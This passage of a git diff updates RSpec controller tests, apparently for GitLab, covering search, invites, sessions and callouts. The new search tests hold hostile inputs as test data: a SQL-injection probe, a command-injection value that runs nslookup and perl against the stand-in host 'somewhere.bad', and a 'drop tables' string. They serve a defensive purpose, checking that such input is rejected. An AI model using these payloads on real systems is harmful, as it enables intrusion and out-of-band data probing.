expect(experiment(:invite_email_preview_text)).to track(:accepted) - .with_context(actor: member) - .on_next_instance - - subject - end - end - - context 'when member does not exist from the session key value' do - let(:originating_member_id) { -1 } - - it 'does not track invite acceptance' do - expect(experiment(:invite_email_preview_text)).not_to track(:accepted) - - subject - end - end - - context 'when invite_email_experiment_name does not exist from the session key value' do - let(:extra_session_params) { {} } - - it 'does not track invite acceptance' do - expect(experiment(:invite_email_preview_text)).not_to track(:accepted) - - subject - end - end - end - - context 'with the invite_email_preview_text experiment', :experiment do - let(:extra_session_params) { { invite_email_experiment_name: 'invite_email_from' } } - - context 'when member and invite_email_experiment_name exists from the session key value' do - it 'tracks the invite acceptance' do - expect(experiment(:invite_email_from)).to track(:accepted) - .with_context(actor: member) - .on_next_instance - - subject - end - end - - context 'when member does not exist from the session key value' do - let(:originating_member_id) { -1 } - - it 'does not track invite acceptance' do - expect(experiment(:invite_email_from)).not_to track(:accepted) - - subject - end - end - - context 'when invite_email_experiment_name does not exist from the session key value' do - let(:extra_session_params) { {} } - - it 'does not track invite acceptance' do - expect(experiment(:invite_email_from)).not_to track(:accepted) - - subject - end - end - end end context 'when invite email matches email used on registration' do diff --git a/spec/controllers/repositories/git_http_controller_spec.rb b/spec/controllers/repositories/git_http_controller_spec.rb index b5cd14154a3..4a6e745cd63 100644 --- a/spec/controllers/repositories/git_http_controller_spec.rb +++ b/spec/controllers/repositories/git_http_controller_spec.rb @@ -90,6 +90,14 @@ RSpec.describe Repositories::GitHttpController do end end end + + context 'when the user is a deploy token' do + it_behaves_like Repositories::GitHttpController do + let(:container) { project } + let(:user) { create(:deploy_token, :project, projects: [project]) } + let(:access_checker_class) { Gitlab::GitAccess } + end + end end context 'when repository container is a project wiki' do diff --git a/spec/controllers/root_controller_spec.rb b/spec/controllers/root_controller_spec.rb index dbf1b3baf25..c6a8cee2f70 100644 --- a/spec/controllers/root_controller_spec.rb +++ b/spec/controllers/root_controller_spec.rb @@ -131,28 +131,10 @@ RSpec.describe RootController do context 'who uses the default dashboard setting', :aggregate_failures do render_views - context 'with customize homepage banner' do - it 'renders the default dashboard' do - get :index - - expect(response).to render_template 'root/index' - expect(response.body).to have_css('.js-customize-homepage-banner') - end - end - - context 'without customize homepage banner' do - before do - Users::DismissUserCalloutService.new( - container: nil, current_user: user, params: { feature_name: UserCalloutsHelper::CUSTOMIZE_HOMEPAGE } - ).execute - end - - it 'renders the default dashboard' do - get :index + it 'renders the default dashboard' do + get :index - expect(response).to render_template 'root/index' - expect(response.body).not_to have_css('.js-customize-homepage-banner') - end + expect(response).to render_template 'dashboard/projects/index' end end end diff --git a/spec/controllers/search_controller_spec.rb b/spec/controllers/search_controller_spec.rb index 73e8e0c7dd4..a54f16ec237 100644 --- a/spec/controllers/search_controller_spec.rb +++ b/spec/controllers/search_controller_spec.rb @@ -127,21 +127,26 @@ RSpec.describe SearchController do context 'check search term length' do let(:search_queries) do - char_limit = SearchService::SEARCH_CHAR_LIMIT - term_limit = SearchService::SEARCH_TERM_LIMIT + char_limit = Gitlab::Search::Params::SEARCH_CHAR_LIMIT + term_limit = Gitlab::Search::Params::SEARCH_TERM_LIMIT + term_char_limit = Gitlab::Search::AbuseDetection::ABUSIVE_TERM_SIZE { - chars_under_limit: ('a' * (char_limit - 1)), - chars_over_limit: ('a' * (char_limit + 1)), - terms_under_limit: ('abc ' * (term_limit - 1)), - terms_over_limit: ('abc ' * (term_limit + 1)) + chars_under_limit: (('a' * (term_char_limit - 1) + ' ') * (term_limit - 1))[0, char_limit], + chars_over_limit: (('a' * (term_char_limit - 1) + ' ') * (term_limit - 1))[0, char_limit + 1], + terms_under_limit: ('abc ' * (term_limit - 1)), + terms_over_limit: ('abc ' * (term_limit + 1)), + term_length_over_limit: ('a' * (term_char_limit + 1)), + term_length_under_limit: ('a' * (term_char_limit - 1)) } end where(:string_name, :expectation) do - :chars_under_limit | :not_to_set_flash - :chars_over_limit | :set_chars_flash - :terms_under_limit | :not_to_set_flash - :terms_over_limit | :set_terms_flash + :chars_under_limit | :not_to_set_flash + :chars_over_limit | :set_chars_flash + :terms_under_limit | :not_to_set_flash + :terms_over_limit | :set_terms_flash + :term_length_under_limit | :not_to_set_flash + :term_length_over_limit | :not_to_set_flash # abuse, so do nothing. end with_them do @@ -172,6 +177,12 @@ RSpec.describe SearchController do expect(response).to redirect_to new_user_session_path end + + it 'redirects to login page when trying to circumvent the restriction' do + get :show, params: { scope: 'projects', project_id: non_existing_record_id, search: '*' } + + expect(response).to redirect_to new_user_session_path + end end context 'for authenticated user' do @@ -181,6 +192,14 @@ RSpec.describe SearchController do expect(response).to have_gitlab_http_status(:ok) end end + + context 'handling abusive search_terms' do + it 'succeeds but does NOT do anything' do + get :show, params: { scope: 'projects', search: '*', repository_ref: '-1%20OR%203%2B640-640-1=0%2B0%2B0%2B1' } + expect(response).to have_gitlab_http_status(:ok) + expect(assigns(:search_results)).to be_a Gitlab::EmptySearchResults + end + end end context 'tab feature flags' do @@ -215,16 +234,6 @@ RSpec.describe SearchController do end end - it 'strips surrounding whitespace from search query' do - get :show, params: { scope: 'notes', search: ' foobar ' } - expect(assigns[:search_term]).to eq 'foobar' - end - - it 'strips surrounding whitespace from autocomplete term' do - expect(controller).to receive(:search_autocomplete_opts).with('youcompleteme') - get :autocomplete, params: { term: ' youcompleteme ' } - end - it 'finds issue comments' do project = create(:project, :public) note = create(:note_on_issue, project: project) @@ -283,7 +292,7 @@ RSpec.describe SearchController do end end - describe 'GET #count' do + describe 'GET #count', :aggregate_failures do it_behaves_like 'when the user cannot read cross project', :count, { search: 'hello', scope: 'projects' } it_behaves_like 'with external authorization service enabled', :count, { search: 'hello', scope: 'projects' } it_behaves_like 'support for active record query timeouts', :count, { search: 'hello', scope: 'projects' }, :search_results, :json @@ -315,13 +324,40 @@ RSpec.describe SearchController do expect(response).to have_gitlab_http_status(:ok) - expect(response.headers['Cache-Control']).to eq('private, no-store') + expect(response.headers['Cache-Control']).to eq('max-age=60, private') + end + + it 'does NOT blow up if search param is NOT a string' do + get :count, params: { search: ['hello'], scope: 'projects' } + expect(response).to have_gitlab_http_status(:ok) + expect(json_response).to eq({ 'count' => '0' }) + + get :count, params: { search: { nested: 'hello' }, scope: 'projects' } + expect(response).to have_gitlab_http_status(:ok) + expect(json_response).to eq({ 'count' => '0' }) + end + + it 'does NOT blow up if repository_ref contains abusive characters' do + get :count, params: { + search: 'hello', + repository_ref: "(nslookup%20hitqlwv501f.somewhere.bad%7C%7Cperl%20-e%20%22gethostbyname('hitqlwv501f.somewhere.bad')%22)", + scope: 'projects' + } + expect(response).to have_gitlab_http_status(:ok) + expect(json_response).to eq({ 'count' => '0' }) end end describe 'GET #autocomplete' do it_behaves_like 'when the user cannot read cross project', :autocomplete, { term: 'hello' } it_behaves_like 'with external authorization service enabled', :autocomplete, { term: 'hello' } + it_behaves_like 'support for active record query timeouts', :autocomplete, { term: 'hello' }, :project, :json + + it 'returns an empty array when given abusive search term' do + get :autocomplete, params: { term: ('hal' * 9000), scope: 'projects' } + expect(response).to have_gitlab_http_status(:ok) + expect(json_response).to match_array([]) + end end describe '#append_info_to_payload' do @@ -351,6 +387,35 @@ RSpec.describe SearchController do get :show, params: { search: 'hello world', group_id: '123', project_id: '456' } end end + + context 'abusive searches', :aggregate_failures do + let(:project) { create(:project, :public, name: 'hello world') } + let(:make_abusive_request) do + get :show, params: { scope: '1;drop%20tables;boom', search: 'hello world', project_id: project.id } + end + + before do + enable_external_authorization_service_check + end + + it 'returns EmptySearchResults' do + expect(Gitlab::EmptySearchResults).to receive(:new).and_call_original + make_abusive_request + expect(response).to have_gitlab_http_status(:ok) + end + + context 'when the feature flag is disabled' do + before do + stub_feature_flags(prevent_abusive_searches: false) + end + + it 'returns a regular search result' do + expect(Gitlab::EmptySearchResults).not_to receive(:new) + make_abusive_request + expect(response).to have_gitlab_http_status(:ok) + end + end + end end context 'unauthorized user' do diff --git a/spec/controllers/sent_notifications_controller_spec.rb b/spec/controllers/sent_notifications_controller_spec.rb index 02aaa5b16f1..ec74a902258 100644 --- a/spec/controllers/sent_notifications_controller_spec.rb +++ b/spec/controllers/sent_notifications_controller_spec.rb @@ -10,19 +10,19 @@ RSpec.describe SentNotificationsController do let(:issue) do create(:issue, project: target_project) do |issue| - issue.subscriptions.create(user: user, project: target_project, subscribed: true) + issue.subscriptions.create!(user: user, project: target_project, subscribed: true) end end let(:confidential_issue) do create(:issue, project: target_project, confidential: true) do |issue| - issue.subscriptions.create(user: user, project: target_project, subscribed: true) + issue.subscriptions.create!(user: user, project: target_project, subscribed: true) end end let(:merge_request) do create(:merge_request, source_project: target_project, target_project: target_project) do |mr| - mr.subscriptions.create(user: user, project: target_project, subscribed: true) + mr.subscriptions.create!(user: user, project: target_project, subscribed: true) end end @@ -213,7 +213,7 @@ RSpec.describe SentNotificationsController do context 'when the force param is not passed' do let(:merge_request) do create(:merge_request, source_project: project, author: user) do |merge_request| - merge_request.subscriptions.create(user: user, project: project, subscribed: true) + merge_request.subscriptions.create!(user: user, project: project, subscribed: true) end end diff --git a/spec/controllers/sessions_controller_spec.rb b/spec/controllers/sessions_controller_spec.rb index c233e5b7c15..31de00dd8bd 100644 --- a/spec/controllers/sessions_controller_spec.rb +++ b/spec/controllers/sessions_controller_spec.rb @@ -403,7 +403,7 @@ RSpec.describe SessionsController do context 'when the user is on their last attempt' do before do - user.update(failed_attempts: User.maximum_attempts.pred) + user.update!(failed_attempts: User.maximum_attempts.pred) end context 'when OTP is valid' do diff --git a/spec/controllers/user_callouts_controller_spec.rb b/spec/controllers/user_callouts_controller_spec.rb deleted file mode 100644 index 3bb8d78a6b0..00000000000 --- a/spec/controllers/user_callouts_controller_spec.rb +++ /dev/null @@ -1,52 +0,0 @@ -# frozen_string_literal: true - -require 'spec_helper' - -RSpec.describe UserCalloutsController do - let_it_be(:user) { create(:user) } - - before do - sign_in(user) - end - - describe "POST #create" do - let(:params) { { feature_name: feature_name } } - - subject { post :create, params: params, format: :json } - - context 'with valid feature name' do - let(:feature_name) { UserCallout.feature_names.each_key.first } - - context 'when callout entry does not exist' do - it 'creates a callout entry with dismissed state' do - expect { subject }.to change { UserCallout.count }.by(1) - end - - it 'returns success' do - subject - - expect(response).to have_gitlab_http_status(:ok) - end - end - - context 'when callout entry already exists' do - let!(:callout) { create(:user_callout, feature_name: UserCallout.feature_names.each_key.first, user: user) } - - it 'returns success', :aggregate_failures do - expect { subject }.not_to change { UserCallout.count } - expect(response).to have_gitlab_http_status(:ok) - end - end - end - - context 'with invalid feature name' do - let(:feature_name) { 'bogus_feature_name' } - - it 'returns bad request' do - subject - - expect(response).to have_gitlab_http_status(:bad_request) - end - end - end -end diff --git a/spec/controllers/users/callouts_controller_spec.rb b/spec/controllers/users/callouts_controller_spec.rb new file mode 100644 index 00000000000..13dc565b4ad --- /dev/null +++ b/spec/controllers/users/callouts_controller_spec.rb @@ -0,0 +1,52 @@ +# frozen_string_literal: true + +require 'spec_helper' + +RSpec.describe Users::CalloutsController do + let_it_be(:user) { create(:user) } + + before do + sign_in(user) + end + + describe "POST #create" do + let(:params) { { feature_name: feature_name } } + + subject { post :create, params: params, format: :json } + + context 'with valid feature name' do + let(:feature_name) { Users::Callout.feature_names.each_key.first } + + context 'when callout entry does not exist' do + it 'creates a callout entry with dismissed state' do + expect { subject }.to change { Users::Callout.count }.by(1) + end + + it 'returns success' do + subject + + expect(response).to have_gitlab_http_status(:ok) + end + end + + context 'when callout entry already exists' do + let!(:callout) { create(:callout, feature_name: Users::Callout.feature_names.each_key.first, user: user) } + + it 'returns success', :aggregate_failures do + expect { subject }.not_to change { Users::Callout.count } + expect(response).to have_gitlab_http_status(:ok) + end + end + end + + context 'with invalid feature name' do + let(:feature_name) { 'bogus_feature_name' } + + it 'returns bad request' do + subject + + expect(response).to have_gitlab_http_status(:bad_request) + end + end + end +end -- cgit v1.2.1